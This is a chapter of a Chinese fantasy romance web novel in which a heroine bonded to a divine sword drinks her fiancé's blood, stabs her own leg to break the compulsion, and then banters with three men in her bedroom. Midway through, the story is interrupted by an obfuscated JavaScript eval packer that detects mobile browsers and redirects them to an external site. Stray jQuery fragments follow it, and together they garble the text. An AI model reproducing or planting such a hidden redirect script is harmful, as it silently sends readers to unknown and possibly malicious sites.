19. 自荐枕席

作品:《阴湿小狗他又在装乖

    少年见她僵在门口,微微一笑,牙齿在唇上轻轻摩挲起来。


    他的唇舌原本就有伤,是在香炉里伤到的。


    他只微一用力,旧伤绽裂,血珠就顺着薄唇滑下,在单薄的白衣上晕开一朵红梅。


    白落烟识海里轰然一片空白。


    甫一见了那朵殷红,她的目光就像是被什么擢住了,再也错不开了。


    一阵无法填补的饥饿感正自她魂魄深处来,迫切躁动着。


    好香啊……她喉头一滚,如芒在背。


    不对,不对!今天很不对劲!


    她腹中从未这样空过,在庆功宴她便察觉了些许迹象。当时她只道是太过劳累的缘故,并未留意。


    可现在……


    好饿,这么会这么饿啊……


    就算在席间吃了那么多盈满灵力的佳肴,那饥饿的感觉丝毫没有减少,反而欲壑难填。


    被铸剑师打通的气脉空虚得可怕,急需什么灵力饱满的火焰来润泽,哪怕只有一点点……


    那滴鲜红的……燃着业火的……


    “咕嘟。”她喉头又是一滚。


    这感觉很怪,她好像完全不是她了。


    白落烟有些害怕,下意识撇了一眼妆台灵镜,只见镜中少女神色恍惚,眼瞳隐隐弥漫起金色的雾气来。


    果然……这是融合了神剑一部分的缘故。


    “不要怕。”郁安淮的声音低下来,蛊惑道,“来,先喝一点。”


    那声音如糖似蜜,白落烟如同被一根看不见的线拉扯着,踉踉跄跄走到他面前。


    她没有迟疑,按住他,对着那殷红血色凶狠地啃了上去。


    没有章法,只有本能地撕扯,啃噬。


    奇的是,入口竟不是血腥味,而是陈年甘醴般暖香醉人。


    于是她更加贪婪地撕扯着那点鲜活的红,她还要更多,更多……


    越来越多的血色沁出来,郁安淮微微吸气,不知是吃痛还是引诱。


    白落烟听见抽气声,许是刚好饮下了足够多的灵力,她的灵台骤然清明了几分。


    她……这是在做什么?


    她怎么可以……怎么可以……亲……


    郁安淮对她做了什么!


    白落烟又怒又恼,当即给了这登徒子一巴掌。


    盛怒之下她没收力,神剑之力并非浪得虚名,郁安淮也没防备,立时被她打得翻倒在旁。


    白落烟揪着他的衣领把他拽起来,怒火中烧,质问道:“你这是故意的?!”


    郁安淮白皙的脸上几道鲜红指痕,唇角都刮破了,十足狼狈。


    明月被暗影和血色笼罩,迷离着,似醉似痴,仿佛沉于痛苦的渊底,又好像浮于欢喜的云间。


    “当然。”郁安淮坦然承认,侧过头去轻揉地蹭她的手,羽毛般令她心底发痒,“那你待如何呀?”


    这笑颜太过自信,太过志在必得,太过……可恶。


    他显然知道,白落烟此时此刻根本抗拒不了业火的诱惑,这是神剑的本能。


    只可惜,不管是神剑还是白落烟,都不任人摆布。


    白落烟冷笑,把他重重一掼,转身就走。


    谁料衣角还被他死死拽着,白落烟猝不及防被他带回身来,跌进他怀中。


    郁安淮清了清嗓子,收敛了一些,服软道:“别走……换个地方也不是不行嘛……”


    言罢,他扬起下颌,将最脆弱的颈项完全显了出来。


    白落烟见他顺服,冷冷扫他一眼,没再拒绝。


    郁安淮身子微微发颤,修长的手指抚着她的发,却稳稳地引着她的尖牙找了个更容易些的地方,任她大口吞噬饱含灵气的鲜血。


    不知过了多久,那白雪上碎满了红梅,白落烟才重新找回神魂来。


    她骇然推开他,不敢相信自己居然做了这样的事情。


    郁安淮的目光一直照在她身上,他神色晦暗餍足,仿佛从她那里掠夺了什么了不得的宝物一般。


    白落烟心头浮起说不清道不明的不快和烦躁。


    明明是他被吞噬了灵气,可那个被迫让步的人,却是她。


    “你怎么会在这。”她没好气地问。


    “我是你的未婚夫婿,不然你还想让谁在这?”郁安淮理所当然回答道。


    “这里只应有我的枕头,床,被子。”白落烟并不欢迎这个不速之客,“我要睡了,你得出去。”


    “那谁来你修复气脉呢?”郁安淮不甘心,他纹丝不动躺着,温言哄道。


    白落烟心下一叹,饮灵血的确有用。方才那几口血咽下去,灵魂空虚一片空白的感觉才渐渐消失,然后她才恢复了几分神志。


    但她不想如此,这还可以称之为人吗!


    白落烟拒绝道:“我不想再喝你的血。”


    “神剑本就是嗜血的,这是你的本性,无需介怀。”郁安淮不以为意,含着笑道。


    他尚有几分骄矜自得,“对你来说,方才是与神剑相融的不适。但于我早就习以为常了。你记不得,我为神剑疗伤早已经不知道多少次了。”


    “不行。”那殷红的血色在眼前晃来晃去,白落烟几乎忍红了眼。


    这该死的郁安淮就在她眼前,唾手可得,甚至还在不知死活地妖言蛊惑她。


    她越发压不住对他业火灵气的渴望了。


    她指甲掐进掌心,刺痛登时传来,她微微冷静了一点:“如此说来,上次与神剑融合后,我毫无异状,也是你灵血的缘故。”


    “可如今,我这具身体没有灵脉,吸取灵气是个无底洞。你也不过凡人之躯,我一旦控制不住,会害死你的。”


    “我甘之如饴。”郁安淮不怕,反而开心极了,“如此良辰美景,如此终局,才算得上不负此生啊!”


    胡闹!他疯了吧!那怎么行!


    白落烟快被他气死了,常人再怎么说也说不过一个疯子!


    她狠狠搓脸,说什么也要从这个古怪的氛围里挣脱出去才行。


    于是,她招手,菜刀飞入掌心。她端详片刻,心一横,一刀刺在大腿上。


    “唔……”钻心的疼痛之下,金色的光亮从她瞳孔中慢慢退去。


    “小枝!”郁安淮脸色一变,紫色眸子火光震颤,起身要过来阻止。


    “退下!”白落烟厉声喝到。


    郁安淮应声止步,他似有万语千言,到最后只剩下一声叹息。


    白落烟其实心里有数,这伤并不要紧。


    欧冶如槿帮她与神剑共鸣后,在火焰中她的愈合能力远胜从前。现在,她甚至能看到,这可怖的伤口飞速在变小,收敛,最终愈合无痕。


    但这疼痛足以让她清醒。


    几番挣扎之后,她后背满是冷汗,如愿以偿脱离神剑的控制,不再对业火的灵力产生渴望。


    然而,神剑隐去后,迟来的倦意如潮水般将她淹没。


    郁安淮神色复杂,似是歉意又似无措,低声道:“其实……也不只这一个办法。或者说,饮血是下下策。”


    白落烟打个呵欠,问道:“那什么是上策?”


    “我们可以试试双……”


    “嘭!”他还未说完,菜刀已经被主人拍在桌子上,发出砰然巨响。


    白落烟还在为刚才被神剑摄了魂魄的事情生气,本就怒火未熄,见他此番仍然贼心不死,更是恨。


    她当即冷冷威胁道:“我也可以试试帮你剁了。”


    郁安淮神色明显失望了一瞬:“……哎”


    白落烟冷哼,对外间喊道:“来人!送大祭司回去!”


    “唔……呜呜……小姐!”


    外间的门砰地被撞开了,昭离和灵犀撕打着从里面滚了出来。


    昭离显然没敢用真本事,只把想暴揍他的灵犀控制住了。他出来第一时间看向郁安淮,见了那副狼狈尊荣,大惊失色,瞪大眼睛看向白落烟,满眼满脸都是“禽兽啊”三个字。


    白落烟:“……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566723|187006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    与之相反,灵犀见了白落烟没吃亏大松一口气。


    灵犀往地上一坐就开始告状道:“小姐!你看这个郁昭离真是无法无天!他把我困在外间里面,还封了我的五感不让我出来救小姐,根本没安什么好心!”


    又是一场闹剧。


    白落烟困倦极了,实在没心思管这些。


    “知道了……你们三个都出去吧。”白落烟叹口气,困得睁不开眼,索性坐下来,“我累了……要歇了。”


    郁安淮可怜地眨眨眼,站在原地纹丝不动。


    昭离垂着眼眸,无令也不动。


    “您二位我请不走,好!那我也不走!”灵犀梗着脖子坐在地上,誓死护主,“想碰我家小姐,从我尸身上踏过去!”


    “……你这属下是怎么当的,看不懂一点眼色,若在我主家你要死八百回。”昭离无奈极了,拉扯他道,“和我出去,让主子们说两句体己话。”


    “这是我主家,我小姐。”怎奈何灵犀寸土不让,“我看的就是我小姐的意思,你算哪根葱!”


    三人一时间僵持起来。


    郁安淮不走。


    郁安淮不走,灵犀就不走。


    灵犀不走,昭离自然也不走。


    妙啊,真妙!


    白落烟怒极反笑,道:“要么全都滚出去,不然就全留下吧。”


    争吵止歇了,三人看向她,尽是不解。


    白落烟忍耐到了极限,她摇摇晃晃站起身,掸掸衣角:“行……都不走是吧?”


    她抬手,落落大方将三人一一点过:“一个温雅昳丽,一个宜家宜室,一个活泼可人……啧啧,真不错,还不重样呢……我全笑纳了!”


    “从今天起……给你赐名,嗯……大玉儿!”她卖力思索了片刻,伸指遥遥一点郁安淮。


    郁安淮:“?”


    白落烟困得眼皮打架,又指了指昭离,“你是陪嫁……那你叫小玉儿!”


    昭离蒙了,无助地看向郁安淮,“公子……这……”


    轮到灵犀,她痛快一拍巴掌,“你是……大灵儿!”


    灵犀也傻了,“我……?我我我……小姐你醉了!”


    白落烟一拂袖,不耐烦道:“还你你你,你什么你?你们俩人给大祭司做小,还委屈上了?”


    昭离,灵犀:“……”


    昭离不服,试图狡辩,道:“灵犀也是下人,为何可以和我公子一起论做大字,他该是小灵儿。”


    白落烟挥挥手,“着什么急……嗝!小灵儿我还没纳呢,以后再说。”


    昭离,灵犀:“……”


    郁安淮笑了,乌云蔽月,那重重血色先前衬得他多楚楚可怜,现在就让他看上去多像是索命厉鬼。


    灵犀和昭离连连后退,业火威压如山岳朝二人当头压下来。


    郁安淮似笑非笑,道:“原来,你二人还存着这种见不得人的心思呢。”


    昭离,灵犀:“……”


    昭离一个激灵,他薅萝卜一样把僵住的灵犀从地上拔起来,抓起他夺门而出。


    等灵犀和昭离出去了,卧室重归寂静,只剩下她和郁安淮。


    郁安淮捏了捏额角,一转头看见倚着床头站着打瞌睡的白落烟,无奈叹道:“神女娘娘保佑……小枝,你说说,你到底喝了多少酒啊?”


    “我没醉!”白落烟嘟囔,怎么人人都说她醉了呢,她只是真的很困而已。


    “好好好……我们小枝清醒得很。”郁安淮又叹口气。


    “你也滚,回家搂你媳妇儿去。”白落烟把菜刀往郁安淮身上一丢。


    郁安淮手忙脚乱接住,依言抱住了刀。


    他搂到了“媳妇儿”,却还不肯走,磨蹭道:“你瞧,因为白家这个事,好几个老东西在我家门口堵我,准备死谏呢。”


    白落烟不为所动。


    “好几条人命,多吓人啊,我只能躲出来,让他们找不到。”他卖个可怜,“收留我一晚,就一晚,好不好?”